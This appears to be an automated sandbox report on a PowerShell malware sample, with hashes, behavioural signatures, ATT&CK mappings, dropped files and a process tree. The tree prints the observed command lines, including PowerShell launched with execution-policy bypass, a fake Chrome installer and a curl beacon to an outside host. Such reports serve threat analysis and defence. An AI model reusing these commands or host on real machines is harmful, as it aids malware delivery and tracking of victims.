1677cd1d51eac543fe942e20a4a39eab1ac10b985dacad5f5246b6a3bea4b8e4

Analysis

max time kernel
149s
max time network
148s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
13/11/2026, 02:02

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
1677cd1d51eac543.ps1
Size 4KB
Sample261113-cf7tvaex4s
SHA256 1677cd1d51eac543fe942e20a4a39eab1ac10b985dacad5f5246b6a3bea4b8e4
MD5 08f0bbfa28aef2ea7903fd45795b3167
SHA1 8d8b30a5759c422b5b218bfdd79cc4f7ab0e05bf
SHA512 0b8bbcefab24f3d9a8e873173bdab573cea8cb6e26a7529233052e12489851e2e80b87c95b6edbdb40bb611feb760fc42b67dfe1bc98a331bff8c907d52b47df
SSDEEP 96:nOwSY9pICCtOwnhAczqM0qsGXdY8WsPCKF2q9tnHbmCOHip:OMJEucz9sGm8WslF2qtnHyCOHip
TLSH
T1798133405D189CA1C56B6A93BC322F53D72911EECACF93890289FB46257BF39DA5CC80
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
13	3844	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
10	2792	Process not Found

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum	ChromeSetup30.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	ChromeSetup30.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
5036	PowerShell.exe
3844	powershell.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{088e3905-0323-4b02-9826-5d99428e115f}\Instance\	powershell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
5036	PowerShell.exe
5036	PowerShell.exe
3844	powershell.exe
3844	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	5036	PowerShell.exe
Token: SeDebugPrivilege	3844	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 5036 wrote to memory of 3844	5036	PowerShell.exe	89
PID 3844 wrote to memory of 1844	3844	powershell.exe	91
PID 1844 wrote to memory of 3100	1844	csc.exe	92
PID 3844 wrote to memory of 4848	3844	powershell.exe	96
PID 3844 wrote to memory of 3528	3844	powershell.exe	97

cURL User-Agent 1 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	14	curl/8.8.0

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\1677cd1d51eac543.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -File C:\Users\Admin\Downloads\1274216323exe.ps1
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3844
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\yc1drj5h\yc1drj5h.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1844
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES904F.tmp" "c:\Users\Admin\AppData\Local\Temp\yc1drj5h\CSC5455AEA1983D48089B334FB557D47E1E.TMP"
      4⤵
      PID:3100
- - C:\Users\Admin\Downloads\ChromeSetup30.exe
    "C:\Users\Admin\Downloads\ChromeSetup30.exe"
    3⤵
    - Maps connected drives based on registry
    PID:4848
- - C:\Windows\system32\curl.exe
    "C:\Windows\system32\curl.exe" -s -o NUL --connect-timeout 6 --max-time 10 https://nexguard.pro/ae8ouxb9gx/api?t=4819ebd7c129161d3cd8dd89d4efec1fec66c785&track=1&event=launch_ok
    3⤵
    PID:3528

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 41c59a73d29fe9a72437c323e3c89bda71c6987848a20016af52c6e2a57b4ba8
MD5 8e8def21d8a45f4186ed39e4cd51780b
SHA1 478eecc4a4839a61f49d36aaac489fb03a902a76
SHA512 78953e7a08cc12b6323f9d053fa308b74c8497d1f747494a492d705ea4091895f77b9c4589766a1aa4ba39e7879c8b70bf4d95904d48282054237363dacd5418
TLSH
T14E218933B3DC8614CC8A403A10CEAC1036B6C7DB809ECFABBB84D544B42F299DE60260
MD5 SHA1 SHA512 TLSH

Submit Download

RES904F.tmp

Path C:\Users\Admin\AppData\Local\Temp\RES904F.tmp
Size 1KB
SHA256 96bb12fd307fdae2e59c026aa9c299e54429184f6389ab6ea911b0c8fda380df
MD5 03d46344967a8d30c6135c9eaea55172
SHA1 098f38656e59d53cce479ba380d1d0c6b54a86bd
SHA512 8d6e631e86a8cc5062c306624f0c6cf1e711077a46d9d81087139ab594f203ad0c7990f5e4755be7cce3b7ccd2c23d2436f4a6629a1b9d945dbf767545b41de4
TLSH
T1E521E20153E8470EF0B38732ADF6071F9578FD64EFA197568401022C2C51644EFA2B71
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_hil4ee50.tkc.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hil4ee50.tkc.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

yc1drj5h.dll

Path C:\Users\Admin\AppData\Local\Temp\yc1drj5h\yc1drj5h.dll
Size 4KB
SHA256 8ad1a811faa44550134f83a8da2bb2d7e16d5c3335390bfd6dea75ae38d87f83
MD5 0614df20992048267c96adffe441c173
SHA1 a6ff7787a08191a20f81bb268043edd325567efe
SHA512 3cc4e5fae0e3ba46371457fc8e5b39c3bf85143af375f2da62e5e38aab27fdd27533fd873b72a050219107c80e14a44921e2f5c11c784749a4aad51a3b19a1ea
TLSH
T17E81310697E80557E4BB4B71ADF3538B25F0EC804B33D36B1880922E6DA12684E26F72
MD5 SHA1 SHA512 TLSH

Submit Download

1274216323exe.ps1

Path C:\Users\Admin\Downloads\1274216323exe.ps1
Size 1KB
SHA256 6c5153ece6a49fbdd2e25d158336428f4f94a23df434612c4813023d6d4f9230
MD5 c59e31e310b4869c3b0abc36a83e9484
SHA1 52ac304e44a6112506ff094281f409432f9d89eb
SHA512 7e7659600c163ff4a81ea17d6e320600a6bfac474cbe87509c4b2efa81564bb18d326998e775679a7b9de98c9599e6fa9237431b7f12a8f69b39a2461525e2a5
TLSH
T162316253F2B0297E42D583DA90E093759823D74CC2980ABC20BC57838A229FF1A6C1CA
MD5 SHA1 SHA512 TLSH

Submit Download

CSC5455AEA1983D48089B334FB557D47E1E.TMP

Path \??\c:\Users\Admin\AppData\Local\Temp\yc1drj5h\CSC5455AEA1983D48089B334FB557D47E1E.TMP
Size 652B
SHA256 e4f1f7eaae47c16d7e057f45c54878b75e603298a8d204408bc40105ac8a29b3
MD5 3113e94a3671d60363a2dfff961dd48f
SHA1 4de74a2129b24216e4f100cbeee8087684fea452
SHA512 60892c91a79e790ff8c4a4283d932e287aeeecb0f5e106a87a02c0a2dea87f0ad86eba3c527c109821a91b0918d86b046b5427d2c5c3b7e3a3739d49b9ccb2ab
TLSH
T1F3F0540A63F8020EF0F34B31BDF543A3956DBC64DE3253ED1441031D2C655108962F75
MD5 SHA1 SHA512 TLSH

Submit Download

yc1drj5h.0.cs

Path \??\c:\Users\Admin\AppData\Local\Temp\yc1drj5h\yc1drj5h.0.cs
Size 1KB
SHA256 04d45e3134df0b6a8d1affb893c9e0d0240db163bf45baaca1c58f7acd2e56c5
MD5 83477799135bafaac2091086495e3785
SHA1 530abad3945b9560e700429ff24a2492da0d9e4c
SHA512 e12cb0be983dabe342cdf64d1320c34c9f394180a3a5d65e9ced71e483c81f36192854a23bdd4d40c9d509da6fe3ea1a12bfd4980652a00ff5f881d7bd952538
TLSH
T10F317C5E27A9E51060B63118EB02C0CBEE9289272E77852073ECAA154F72144D779F5F
MD5 SHA1 SHA512 TLSH

Submit Download

yc1drj5h.cmdline

Path \??\c:\Users\Admin\AppData\Local\Temp\yc1drj5h\yc1drj5h.cmdline
Size 369B
SHA256 e869a91e43180ca410b67ccec4fde7fb7e6da35959249cf967c3faec19546df9
MD5 ddbd4f5bdb52b2b77a08f19e7ba1b23f
SHA1 6e086df59b045fd2d3f505f11f70fdf8aceef552
SHA512 09ee588dac6b96cac7e26b8d9f464d14d93facdbeeab818036be4cd7a302cd61fdd642a5bd05d812c42a2aecdbae487f8b3c76b17025a26aab0dd1b4c5a01c94
TLSH
T11DE0682A5B46C27D06FA1047216FC8ACC6720F8339803FC45840850ED1570C3E7E3749
MD5 SHA1 SHA512 TLSH

Submit Download

memory/3844-23-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/3844-51-0x0000023ACFF20000-0x0000023ACFF28000-memory.dmp

Download

memory/3844-56-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/3844-53-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/3844-36-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/3844-37-0x0000023ACFF30000-0x0000023ACFF3A000-memory.dmp

Download

memory/3844-52-0x0000023AD04C0000-0x0000023AD04E7000-memory.dmp

Download

memory/3844-38-0x0000023AD04A0000-0x0000023AD04B4000-memory.dmp

Download

memory/3844-35-0x0000023AD0170000-0x0000023AD0222000-memory.dmp

Download

memory/3844-34-0x0000023AD0150000-0x0000023AD016E000-memory.dmp

Download

memory/3844-30-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/3844-22-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/3844-26-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/3844-24-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/3844-25-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/5036-6-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/5036-11-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/5036-0-0x00007FF87E26F000-0x00007FF87E270000-memory.dmp

Download

memory/5036-21-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/5036-10-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/5036-18-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/5036-17-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/5036-8-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/5036-7-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/5036-9-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/5036-16-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/5036-5-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/5036-3-0x0000025354390000-0x00000253543B2000-memory.dmp

Download

memory/5036-4-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/5036-15-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/5036-14-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/5036-13-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download

memory/5036-12-0x00007FF87E0E0000-0x00007FF87EA84000-memory.dmp

Download